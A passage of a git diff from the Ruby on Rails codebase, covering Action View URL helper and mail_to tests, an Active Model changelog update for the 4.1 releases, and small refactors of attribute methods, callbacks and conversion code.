+    assert_equal %{<a href="/?order=asc">Showing</a>},
+      link_to_unless_current("Showing", hash_for(order: :asc))
+    assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
+      link_to_unless_current("Showing", "http://www.example.com/?order=asc")
+
+    @request = request_for_url("/?order=desc")
+    assert_equal %{<a href="/?order=desc&page=2\">Showing</a>},
+      link_to_unless_current("Showing", hash_for(order: "desc", page: 2))
+    assert_equal %{<a href="http://www.example.com/?order=desc&page=2">Showing</a>},
+      link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
+
+    @request = request_for_url("/show")
+
+    assert_equal %{<a href="/">Listing</a>},
+      link_to_unless_current("Listing", url_hash)
+    assert_equal %{<a href="http://www.example.com/">Listing</a>},
+      link_to_unless_current("Listing", "http://www.example.com/")
+  end
+
+  def test_mail_to
+    assert_dom_equal %{<a href="mailto:david at loudthinking.com">david at loudthinking.com</a>}, mail_to("david at loudthinking.com")
+    assert_dom_equal %{<a href="mailto:david at loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david at loudthinking.com", "David Heinemeier Hansson")
+    assert_dom_equal(
+      %{<a class="admin" href="mailto:david at loudthinking.com">David Heinemeier Hansson</a>},
+      mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
+    )
+    assert_equal mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
+                 mail_to("david at loudthinking.com", "David Heinemeier Hansson", class: "admin")
+  end
+
+  def test_mail_with_options
+    assert_dom_equal(
+      %{<a href="mailto:me at example.com?cc=ccaddress%40example.com&bcc=bccaddress%40example.com&body=This%20is%20the%20body%20of%20the%20message.&subject=This%20is%20an%20example%20email">My email</a>},
+      mail_to("me at example.com", "My email", cc: "ccaddress at example.com", bcc: "bccaddress at example.com", subject: "This is an example email", body: "This is the body of the message.")
+    )
+  end
+
+  def test_mail_to_with_img
+    assert_dom_equal %{<a href="mailto:feedback at example.com"><img src="/feedback.png" /></a>},
+      mail_to('feedback at example.com', '<img src="/feedback.png" />'.html_safe)
+  end
+
+  def test_mail_to_returns_html_safe_string
+    assert mail_to("david at loudthinking.com").html_safe?
+  end
+
+  def test_mail_to_with_block
+    assert_dom_equal %{<a href="mailto:me at example.com"><span>Email me</span></a>},
+      mail_to('me at example.com') { content_tag(:span, 'Email me') }
+  end
+
+  def test_mail_to_with_block_and_options
+    assert_dom_equal %{<a class="special" href="mailto:me at example.com?cc=ccaddress%40example.com"><span>Email me</span></a>},
+      mail_to('me at example.com', cc: "ccaddress at example.com", class: "special") { content_tag(:span, 'Email me') }
+  end
+
+  def test_mail_to_does_not_modify_html_options_hash
+    options = { class: 'special' }
+    mail_to 'me at example.com', 'ME!', options
+    assert_equal({ class: 'special' }, options)
+  end
+
+  def protect_against_forgery?
+    self.request_forgery
+  end
+
+  def form_authenticity_token
+    "secret"
+  end
+
+  def request_forgery_protection_token
+    "form_token"
+  end
+
+  private
+    def sort_query_string_params(uri)
+      path, qs = uri.split('?')
+      qs = qs.split('&').sort.join('&') if qs
+      qs ? "#{path}?#{qs}" : path
+    end
+end
+
+class UrlHelperControllerTest < ActionController::TestCase
+  class UrlHelperController < ActionController::Base
+    test_routes do
+      get 'url_helper_controller_test/url_helper/show/:id',
+        to: 'url_helper_controller_test/url_helper#show',
+        as: :show
+
+      get 'url_helper_controller_test/url_helper/profile/:name',
+        to: 'url_helper_controller_test/url_helper#show',
+        as: :profile
+
+      get 'url_helper_controller_test/url_helper/show_named_route',
+        to: 'url_helper_controller_test/url_helper#show_named_route',
+        as: :show_named_route
+
+      get "/:controller(/:action(/:id))"
+
+      get 'url_helper_controller_test/url_helper/normalize_recall_params',
+        to: UrlHelperController.action(:normalize_recall),
+        as: :normalize_recall_params
+
+      get '/url_helper_controller_test/url_helper/override_url_helper/default',
+        to: 'url_helper_controller_test/url_helper#override_url_helper',
+        as: :override_url_helper
+    end
+
+    def show
+      if params[:name]
+        render inline: 'ok'
+      else
+        redirect_to profile_path(params[:id])
+      end
+    end
+
+    def show_url_for
+      render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>"
+    end
+
+    def show_overridden_url_for
+      render inline: "<%= url_for params.merge(controller: 'url_helper_controller_test/url_helper', action: 'show_url_for') %>"
+    end
+
+    def show_named_route
+      render inline: "<%= show_named_route_#{params[:kind]} %>"
+    end
+
+    def nil_url_for
+      render inline: '<%= url_for(nil) %>'
+    end
+
+    def normalize_recall_params
+      render inline: '<%= normalize_recall_params_path %>'
+    end
+
+    def recall_params_not_changed
+      render inline: '<%= url_for(action: :show_url_for) %>'
+    end
+
+    def override_url_helper
+      render inline: '<%= override_url_helper_path %>'
+    end
+
+    def override_url_helper_path
+      '/url_helper_controller_test/url_helper/override_url_helper/override'
+    end
+    helper_method :override_url_helper_path
+  end
+
+  tests UrlHelperController
+
+  def test_url_for_shows_only_path
+    get :show_url_for
+    assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+  end
+
+  def test_overridden_url_for_shows_only_path
+    get :show_overridden_url_for
+    assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+  end
+
+  def test_named_route_url_shows_host_and_path
+    get :show_named_route, kind: 'url'
+    assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route',
+      @response.body
+  end
+
+  def test_named_route_path_shows_only_path
+    get :show_named_route, kind: 'path'
+    assert_equal '/url_helper_controller_test/url_helper/show_named_route', @response.body
+  end
+
+  def test_url_for_nil_returns_current_path
+    get :nil_url_for
+    assert_equal '/url_helper_controller_test/url_helper/nil_url_for', @response.body
+  end
+
+  def test_named_route_should_show_host_and_path_using_controller_default_url_options
+    class << @controller
+      def default_url_options
+        { host: 'testtwo.host' }
+      end
+    end
+
+    get :show_named_route, kind: 'url'
+    assert_equal 'http://testtwo.host/url_helper_controller_test/url_helper/show_named_route', @response.body
+  end
+
+  def test_recall_params_should_be_normalized
+    get :normalize_recall_params
+    assert_equal '/url_helper_controller_test/url_helper/normalize_recall_params', @response.body
+  end
+
+  def test_recall_params_should_not_be_changed
+    get :recall_params_not_changed
+    assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+  end
+
+  def test_recall_params_should_normalize_id
+    get :show, id: '123'
+    assert_equal 302, @response.status
+    assert_equal 'http://test.host/url_helper_controller_test/url_helper/profile/123', @response.location
+
+    get :show, name: '123'
+    assert_equal 'ok', @response.body
+  end
+
+  def test_url_helper_can_be_overridden
+    get :override_url_helper
+    assert_equal '/url_helper_controller_test/url_helper/override_url_helper/override', @response.body
+  end
+end
+
+class TasksController < ActionController::Base
+  test_routes do
+    resources :tasks
+  end
+
+  def index
+    render_default
+  end
+
+  def show
+    render_default
+  end
+
+  protected
+    def render_default
+      render inline: "<%= link_to_unless_current('tasks', tasks_path) %>\n" +
+        "<%= link_to_unless_current('tasks', tasks_url) %>"
+    end
+end
+
+class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
+  tests TasksController
+
+  def test_link_to_unless_current_to_current
+    get :index
+    assert_equal "tasks\ntasks", @response.body
+  end
+
+  def test_link_to_unless_current_shows_link
+    get :show, id: 1
+    assert_equal %{<a href="/tasks">tasks</a>\n} +
+      %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
+      @response.body
+  end
+end
+
+class Session
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  attr_accessor :id, :workshop_id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+class WorkshopsController < ActionController::Base
+  test_routes do
+    resources :workshops do
+      resources :sessions
+    end
+  end
+
+  def index
+    @workshop = Workshop.new(nil)
+    render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+  end
+
+  def show
+    @workshop = Workshop.new(params[:id])
+    render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+  end
+end
+
+class SessionsController < ActionController::Base
+  test_routes do
+    resources :workshops do
+      resources :sessions
+    end
+  end
+
+  def index
+    @workshop = Workshop.new(params[:workshop_id])
+    @session = Session.new(nil)
+    render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+  end
+
+  def show
+    @workshop = Workshop.new(params[:workshop_id])
+    @session = Session.new(params[:id])
+    render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+  end
+end
+
+class PolymorphicControllerTest < ActionController::TestCase
+  def test_new_resource
+    @controller = WorkshopsController.new
+
+    get :index
+    assert_equal %{/workshops\n<a href="/workshops">Workshop</a>}, @response.body
+  end
+
+  def test_existing_resource
+    @controller = WorkshopsController.new
+
+    get :show, id: 1
+    assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
+  end
+
+  def test_new_nested_resource
+    @controller = SessionsController.new
+
+    get :index, workshop_id: 1
+    assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
+  end
+
+  def test_existing_nested_resource
+    @controller = SessionsController.new
+
+    get :show, workshop_id: 1, id: 1
+    assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory b/actionview/test/tmp/.gitkeep
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory
rename to actionview/test/tmp/.gitkeep
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index f282b51..cc5916d 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,233 +1,94 @@
-## Rails 4.0.1 (November 01, 2013) ##
+## Rails 4.1.4 (July 2, 2014) ##
 
-*   Fix `has_secure_password` to honor bcrypt-ruby's cost attribute.
-
-    *T.J. Schuck*
-
-*   `inclusion` / `exclusion` validations with ranges will only use the faster
-    `Range#cover` for numerical ranges, and the more accurate `Range#include?`
-    for non-numerical ones.
-
-    Fixes range validations like `:a..:f` that used to pass with values like `:be`.
-
-    Fixes #10593.
+*   No changes.
 
-    *Charles Bergeron*
 
+## Rails 4.1.3 (July 2, 2014) ##
 
-## Rails 4.0.0 (June 25, 2013) ##
+*   No changes.
 
-*   Fix regression in has_secure_password. When a password is set, but a
-    confirmation is an empty string, it would incorrectly save.
 
-    *Steve Klabnik* and *Phillip Calvin*
+## Rails 4.1.2 (June 26, 2014) ##
 
-*   Add `ActiveModel::Errors#full_messages_for`, to return all the error messages
-    for a given attribute.
+*   No changes.
 
-    Example:
 
-        class Person
-          include ActiveModel::Validations
+## Rails 4.1.1 (May 6, 2014) ##
 
-          attr_reader :name, :email
-          validates_presence_of :name, :email
-        end
+*   No changes.
 
-        person = Person.new
-        person.valid?                           # => false
-        person.errors.full_messages_for(:name)  # => ["Name can't be blank"]
 
-    *Volodymyr Shatsky*
+## Rails 4.1.0 (April 8, 2014) ##
 
-*   Added a method so that validations can be easily cleared on a model.
-    For example:
-
-        class Person
-          include ActiveModel::Validations
-
-          validates_uniqueness_of :first_name
-          validate :cannot_be_robot
-
-          def cannot_be_robot
-            errors.add(:base, 'A person cannot be a robot') if person_is_robot
-          end
-        end
-
-    Now, if someone runs `Person.clear_validators!`, then the following occurs:
-
-        Person.validators                  # => []
-        Person._validate_callbacks.empty?  # => true
-
-    *John Wang*
-
-*   `has_secure_password` does not fail the confirmation validation
-    when assigning empty String to `password` and `password_confirmation`.
-    Fixes #9535.
-
-    Example:
-
-        # Given User has_secure_password.
-        @user.password = ""
-        @user.password_confirmation = ""
-        @user.valid?(:update) # used to be false
+*   `#to_param` returns `nil` if `#to_key` returns `nil`. Fixes #11399.
 
     *Yves Senn*
 
-*   `validates_confirmation_of` does not override writer methods for
-    the confirmation attribute if no reader is defined.
+*   Ability to specify multiple contexts when defining a validation.
 
     Example:
 
-        class Blog
-          def title=(new_title)
-            @title = new_title.downcase
-          end
-
-          # previously this would override the setter above.
-          validates_confirmation_of :title
-        end
-
-    *Yves Senn*
-
-*   Add `ActiveModel::Validations::AbsenceValidator`, a validator to check the
-    absence of attributes.
-
         class Person
           include ActiveModel::Validations
 
-          attr_accessor :first_name
-          validates_absence_of :first_name
+          attr_reader :name
+          validates_presence_of :name, on: [:verify, :approve]
         end
 
         person = Person.new
-        person.first_name = "John"
-        person.valid?
-        # => false
-        person.errors.messages
-        # => {:first_name=>["must be blank"]}
-
-    *Roberto Vasquez Angel*
-
-*   `[attribute]_changed?` now returns `false` after a call to `reset_[attribute]!`.
-
-    *Renato Mascarenhas*
-
-*   Observers was extracted from Active Model as `rails-observers` gem.
-
-    *Rafael Mendonça França*
-
-*   Specify type of singular association during serialization.
-
-    *Steve Klabnik*
-
-*   Fixed length validator to correctly handle `nil`. Fixes #7180.
-
-    *Michal Zima*
-
-*   Removed dispensable `require` statements. Make sure to require `active_model` before requiring
-    individual parts of the framework.
-
-    *Yves Senn*
-
-*   Use BCrypt's `MIN_COST` in the test environment for speedier tests when using `has_secure_password`.
-
-    *Brian Cardarella + Jeremy Kemper + Trevor Turk*
-
-*   Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to
-    protect attributes from mass assignment when non-permitted attributes are passed.
-
-    *DHH + Guillermo Iguaran*
-
-*   `ActiveModel::MassAssignmentSecurity` has been extracted from Active Model and the
-    `protected_attributes` gem should be added to Gemfile in order to use
-    `attr_accessible` and `attr_protected` macros in your models.
+        person.valid?                           # => true
+        person.valid?(:verify)                  # => false
+        person.errors.full_messages_for(:name)  # => ["Name can't be blank"]
+        person.valid?(:approve)                 # => false
+        person.errors.full_messages_for(:name)  # => ["Name can't be blank"]
 
-    *Guillermo Iguaran*
+    *Vince Puzzella*
 
-*   Due to a change in builder, `nil` and empty strings now generate
-    closed tags, so instead of this:
+*   `attribute_changed?` now accepts a hash to check if the attribute was
+    changed `:from` and/or `:to` a given value.
 
-        <pseudonyms nil=\"true\"></pseudonyms>
+    Example:
 
-    it generates this:
+        model.name_changed?(from: "Pete", to: "Ringo")
 
-        <pseudonyms nil=\"true\"/>
+    *Tejas Dinkar*
 
-    *Carlos Antonio da Silva*
+*   Fix `has_secure_password` to honor bcrypt-ruby's cost attribute.
 
-*   Inclusion/exclusion validators accept a method name passed as a symbol to the
-    `:in` option.
+    *T.J. Schuck*
 
-    This allows to use dynamic inclusion/exclusion values using methods, besides
-    the current lambda/proc support.
+*   Updated the `ActiveModel::Dirty#changed_attributes` method to be indifferent between using
+    symbols and strings as keys.
 
-    *Gabriel Sobrinho*
+    *William Myers*
 
-*   `ActiveModel::Validation#validates` ability to pass custom exception to the
-    `:strict` option.
+*   Added new API methods `reset_changes` and `changes_applied` to `ActiveModel::Dirty`
+    that control changes state. Previsously you needed to update internal
+    instance variables, but now API methods are available.
 
     *Bogdan Gusiev*
 
-*   Changed `ActiveModel::Serializers::Xml::Serializer#add_associations` to by default
-    propagate `:skip_types, :dasherize, :camelize` keys to included associations.
-    It can be overridden on each association by explicitly specifying the option on one
-    or more associations
-
-    *Anthony Alberto*
-
-*   Changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to false.
-    Now, AM Serializers and AR objects have the same default behaviour. Fixes #6578.
-
-        class User < ActiveRecord::Base; end
+*   Fix `has_secure_password` not to trigger `password_confirmation` validations
+    if no `password_confirmation` is set.
 
-        class Person
-          include ActiveModel::Model
-          include ActiveModel::AttributeMethods
-          include ActiveModel::Serializers::JSON
-
-          attr_accessor :name, :age
-
-          def attributes
-            instance_values
-          end
-        end
-
-        user.as_json
-        => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
-        # root is not included
-
-        person.as_json
-        => {"name"=>"Francesco", "age"=>22}
-        # root is not included
-
-    *Francesco Rodriguez*
-
-*   Passing false hash values to `validates` will no longer enable the corresponding validators.
-
-    *Steve Purcell*
-
-*   `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute`.
-
-    *Brian Cardarella*
+    *Vladimir Kiselev*
 
-*   Added `ActiveModel::Model`, a mixin to make Ruby objects work with AP out of box.
-
-    *Guillermo Iguaran*
+*   `inclusion` / `exclusion` validations with ranges will only use the faster
+    `Range#cover` for numerical ranges, and the more accurate `Range#include?`
+    for non-numerical ones.
 
-*   `AM::Errors#to_json`: support `:full_messages` parameter.
+    Fixes range validations like `:a..:f` that used to pass with values like `:be`.
+    Fixes #10593.
 
-    *Bogdan Gusiev*
+    *Charles Bergeron*
 
-*   Trim down Active Model API by removing `valid?` and `errors.full_messages`.
+*   Fix regression in `has_secure_password`. When a password is set, but a
+    confirmation is an empty string, it would incorrectly save.
 
-    *José Valim*
+    *Steve Klabnik* and *Phillip Calvin*
 
-*   When `^` or `$` are used in the regular expression provided to `validates_format_of`
-    and the `:multiline` option is not set to true, an exception will be raised. This is
-    to prevent security vulnerabilities when using `validates_format_of`. The problem is
-    described in detail in the Rails security guide.
+*   Deprecate `Validator#setup`. This should be done manually now in the validator's constructor.
 
-    *Jan Berdajs + Egor Homakov*
+    *Nick Sutterer*
 
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activemodel/CHANGELOG.md) for previous changes.
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index 5c668d9..d58dd9e 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index 46ef28d..dcb6137 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -109,7 +109,7 @@ behavior out of the box:
       attr_reader   :errors
 
       def validate!
-        errors.add(:name, "can not be nil") if name.nil?
+        errors.add(:name, "cannot be nil") if name.nil?
       end
 
       def self.human_attribute_name(attr, options = {})
@@ -118,7 +118,7 @@ behavior out of the box:
     end
 
     person.errors.full_messages
-    # => ["Name can not be nil"]
+    # => ["Name cannot be nil"]
 
   {Learn more}[link:classes/ActiveModel/Errors.html]
 
@@ -227,7 +227,7 @@ The latest version of Active Model can be installed with RubyGems:
 
 Source code can be downloaded as part of the Rails project on GitHub
 
-* https://github.com/rails/rails/tree/4-0-stable/activemodel
+* https://github.com/rails/rails/tree/4-1-stable/activemodel
 
 
 == License
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
index fc5aaf9..407dda2 100644
--- a/activemodel/Rakefile
+++ b/activemodel/Rakefile
@@ -13,14 +13,12 @@ end
 
 namespace :test do
   task :isolated do
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
     Dir.glob("#{dir}/test/**/*_test.rb").all? do |file|
-      sh(ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
+      sh(Gem.ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
     end or raise "Failures"
   end
 end
 
-require 'rake/packagetask'
 require 'rubygems/package_task'
 
 spec = eval(File.read("#{dir}/activemodel.gemspec"))
@@ -29,7 +27,7 @@ Gem::PackageTask.new(spec) do |p|
   p.gem_spec = spec
 end
 
-desc "Release to gemcutter"
+desc "Release to rubygems"
 task :release => :package do
   require 'rake/gemcutter'
   Rake::Gemcutter::Tasks.new(spec).define
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 51655fe..36e565f 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -5,7 +5,7 @@ Gem::Specification.new do |s|
   s.name        = 'activemodel'
   s.version     = version
   s.summary     = 'A toolkit for building modeling frameworks (part of Rails).'
-  s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
+  s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing.'
 
   s.required_ruby_version = '>= 1.9.3'
 
@@ -20,5 +20,5 @@ Gem::Specification.new do |s|
 
   s.add_dependency 'activesupport', version
 
-  s.add_dependency 'builder', '~> 3.1.0'
+  s.add_dependency 'builder', '~> 3.1'
 end
diff --git a/activemodel/examples/validations.rb b/activemodel/examples/validations.rb
index a56ec4d..b8e74ac 100644
--- a/activemodel/examples/validations.rb
+++ b/activemodel/examples/validations.rb
@@ -1,10 +1,11 @@
+require File.expand_path('../../../load_paths', __FILE__)
 require 'active_model'
 
 class Person
   include ActiveModel::Conversion
   include ActiveModel::Validations
 
-  validates_presence_of :name
+  validates :name, presence: true
 
   attr_accessor :name
 
@@ -25,5 +26,5 @@ person1 = Person.new
 p person1.valid? # => false
 p person1.errors.messages # => {:name=>["can't be blank"]}
 
-person2 = Person.new(:name => "matz")
+person2 = Person.new(name: 'matz')
 p person2.valid? # => true
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index 3bd5531..feb3d93 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -37,7 +37,6 @@ module ActiveModel
   autoload :ForbiddenAttributesProtection
   autoload :Lint
   autoload :Model
-  autoload :DeprecatedMassAssignmentSecurity
   autoload :Name, 'active_model/naming'
   autoload :Naming
   autoload :SecurePassword
@@ -49,6 +48,7 @@ module ActiveModel
 
   eager_autoload do
     autoload :Errors
+    autoload :StrictValidationFailed, 'active_model/errors'
   end
 
   module Serializers
@@ -60,9 +60,9 @@ module ActiveModel
     end
   end
 
-  def eager_load!
+  def self.eager_load!
     super
-    ActiveModel::Serializer.eager_load!
+    ActiveModel::Serializers.eager_load!
   end
 end
 
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index c964b3f..ea07c5c 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -14,11 +14,11 @@ module ActiveModel
   class MissingAttributeError < NoMethodError
   end
 
-  # == Active \Model Attribute Methods
+  # == Active \Model \Attribute \Methods
   #
-  # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
-  # suffixes to your methods as well as handling the creation of
-  # <tt>ActiveRecord::Base</tt>-like class methods such as +table_name+.
+  # Provides a way to add prefixes and suffixes to your methods as
+  # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+  # class methods such as +table_name+.
   #
   # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
   #
@@ -27,7 +27,9 @@ module ActiveModel
   #   or +attribute_method_prefix+.
   # * Call +define_attribute_methods+ after the other methods are called.
   # * Define the various generic +_attribute+ methods that you have declared.
-  # * Define an +attributes+ method, see below.
+  # * Define an +attributes+ method which returns a hash with each
+  #   attribute name in your model as hash key and the attribute value as hash value.
+  #   Hash keys must be strings.
   #
   # A minimal implementation could be:
   #
@@ -42,7 +44,7 @@ module ActiveModel
   #     attr_accessor :name
   #
   #     def attributes
-  #       {'name' => @name}
+  #       { 'name' => @name }
   #     end
   #
   #     private
@@ -59,13 +61,6 @@ module ActiveModel
   #       send("#{attr}=", 'Default Name')
   #     end
   #   end
-  #
-  # Note that whenever you include <tt>ActiveModel::AttributeMethods</tt> in
-  # your class, it requires you to implement an +attributes+ method which
-  # returns a hash with each attribute name in your model as hash key and the
-  # attribute value as hash value.
-  #
-  # Hash keys must be strings.
   module AttributeMethods
     extend ActiveSupport::Concern
 
@@ -173,14 +168,14 @@ module ActiveModel
       #     private
       #
       #     def reset_attribute_to_default!(attr)
-      #       ...
+      #       send("#{attr}=", 'Default Name')
       #     end
       #   end
       #
       #   person = Person.new
       #   person.name                         # => 'Gem'
       #   person.reset_name_to_default!
-      #   person.name                         # => 'Gemma'
+      #   person.name                         # => 'Default Name'
       def attribute_method_affix(*affixes)
         self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
         undefine_attribute_methods
@@ -219,6 +214,16 @@ module ActiveModel
         end
       end
 
+      # Is +new_name+ an alias?
+      def attribute_alias?(new_name)
+        attribute_aliases.key? new_name.to_s
+      end
+
+      # Returns the original name for the alias +name+
+      def attribute_alias(name)
+        attribute_aliases[name.to_s]
+      end
+
       # Declares the attributes that should be prefixed and suffixed by
       # ActiveModel::AttributeMethods.
       #
@@ -240,7 +245,7 @@ module ActiveModel
       #     private
       #
       #     def clear_attribute(attr)
-      #       ...
+      #       send("#{attr}=", nil)
       #     end
       #   end
       def define_attribute_methods(*attr_names)
@@ -323,7 +328,6 @@ module ActiveModel
         attribute_method_matchers_cache.clear
       end
 
-      # Returns true if the attribute methods defined have been generated.
       def generated_attribute_methods #:nodoc:
         @generated_attribute_methods ||= Module.new {
           extend Mutex_m
@@ -340,13 +344,13 @@ module ActiveModel
         # invoked often in a typical rails, both of which invoke the method
         # +match_attribute_method?+. The latter method iterates through an
         # array doing regular expression matches, which results in a lot of
-        # object creations. Most of the times it returns a +nil+ match. As the
+        # object creations. Most of the time it returns a +nil+ match. As the
         # match result is always the same given a +method_name+, this cache is
         # used to alleviate the GC, which ultimately also speeds up the app
         # significantly (in our case our test suite finishes 10% faster with
         # this cache).
         def attribute_method_matchers_cache #:nodoc:
-          @attribute_method_matchers_cache ||= ThreadSafe::Cache.new(:initial_capacity => 4)
+          @attribute_method_matchers_cache ||= ThreadSafe::Cache.new(initial_capacity: 4)
         end
 
         def attribute_method_matcher(method_name) #:nodoc:
@@ -391,14 +395,6 @@ module ActiveModel
           AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
 
           def initialize(options = {})
-            if options[:prefix] == '' || options[:suffix] == ''
-              message = "Specifying an empty prefix/suffix for an attribute method is no longer " \
-                        "necessary. If the un-prefixed/suffixed version of the method has not been " \
-                        "defined when `define_attribute_methods` is called, it will be defined " \
-                        "automatically."
-              ActiveSupport::Deprecation.warn message
-            end
-
             @prefix, @suffix = options.fetch(:prefix, ''), options.fetch(:suffix, '')
             @regex = /^(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})$/
             @method_missing_target = "#{@prefix}attribute#{@suffix}"
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index b5562dd..b27a39b 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -30,7 +30,7 @@ module ActiveModel
   #   end
   #
   # Then in your class, you can use the +before_create+, +after_create+ and
-  # +around_create+ methods, just as you would in an Active Record module.
+  # +around_create+ methods, just as you would in an Active Record model.
   #
   #   before_create :action_before_create
   #
@@ -100,10 +100,10 @@ module ActiveModel
     def define_model_callbacks(*callbacks)
       options = callbacks.extract_options!
       options = {
-        :terminator => "result == false",
-        :skip_after_callbacks_if_terminated => true,
-        :scope => [:kind, :name],
-        :only => [:before, :around, :after]
+        terminator: ->(_,result) { result == false },
+        skip_after_callbacks_if_terminated: true,
+        scope: [:kind, :name],
+        only: [:before, :around, :after]
       }.merge!(options)
 
       types = Array(options.delete(:only))
@@ -120,30 +120,27 @@ module ActiveModel
     private
 
     def _define_before_model_callback(klass, callback) #:nodoc:
-      klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
-        def self.before_#{callback}(*args, &block)
-          set_callback(:#{callback}, :before, *args, &block)
-        end
-      CALLBACK
+      klass.define_singleton_method("before_#{callback}") do |*args, &block|
+        set_callback(:"#{callback}", :before, *args, &block)
+      end
     end
 
     def _define_around_model_callback(klass, callback) #:nodoc:
-      klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
-        def self.around_#{callback}(*args, &block)
-          set_callback(:#{callback}, :around, *args, &block)
-        end
-      CALLBACK
+      klass.define_singleton_method("around_#{callback}") do |*args, &block|
+        set_callback(:"#{callback}", :around, *args, &block)
+      end
     end
 
     def _define_after_model_callback(klass, callback) #:nodoc:
-      klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
-        def self.after_#{callback}(*args, &block)
-          options = args.extract_options!
-          options[:prepend] = true
-          options[:if] = Array(options[:if]) << "value != false"
-          set_callback(:#{callback}, :after, *(args << options), &block)
-        end
-      CALLBACK
+      klass.define_singleton_method("after_#{callback}") do |*args, &block|
+        options = args.extract_options!
+        options[:prepend] = true
+        conditional = ActiveSupport::Callbacks::Conditionals::Value.new { |v|
+          v != false
+        }
+        options[:if] = Array(options[:if]) << conditional
+        set_callback(:"#{callback}", :after, *(args << options), &block)
+      end
     end
   end
 end
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 21e4eb3..0a19ef6 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,5 +1,5 @@
 module ActiveModel
-  # == Active \Model Conversion
+  # == Active \Model \Conversion
   #
   # Handles default conversions: to_model, to_key, to_param, and to_partial_path.
   #
@@ -41,7 +41,7 @@ module ActiveModel
     end
 
     # Returns an Enumerable of all key attributes if any is set, regardless if
-    # the object is persisted or not. If there no key attributes, returns +nil+.
+    # the object is persisted or not. Returns +nil+ if there are no key attributes.
     #
     #   class Person < ActiveRecord::Base
     #   end
@@ -62,7 +62,7 @@ module ActiveModel
     #   person = Person.create
     #   person.to_param # => "1"
     def to_param
-      persisted? ? to_key.join('-') : nil
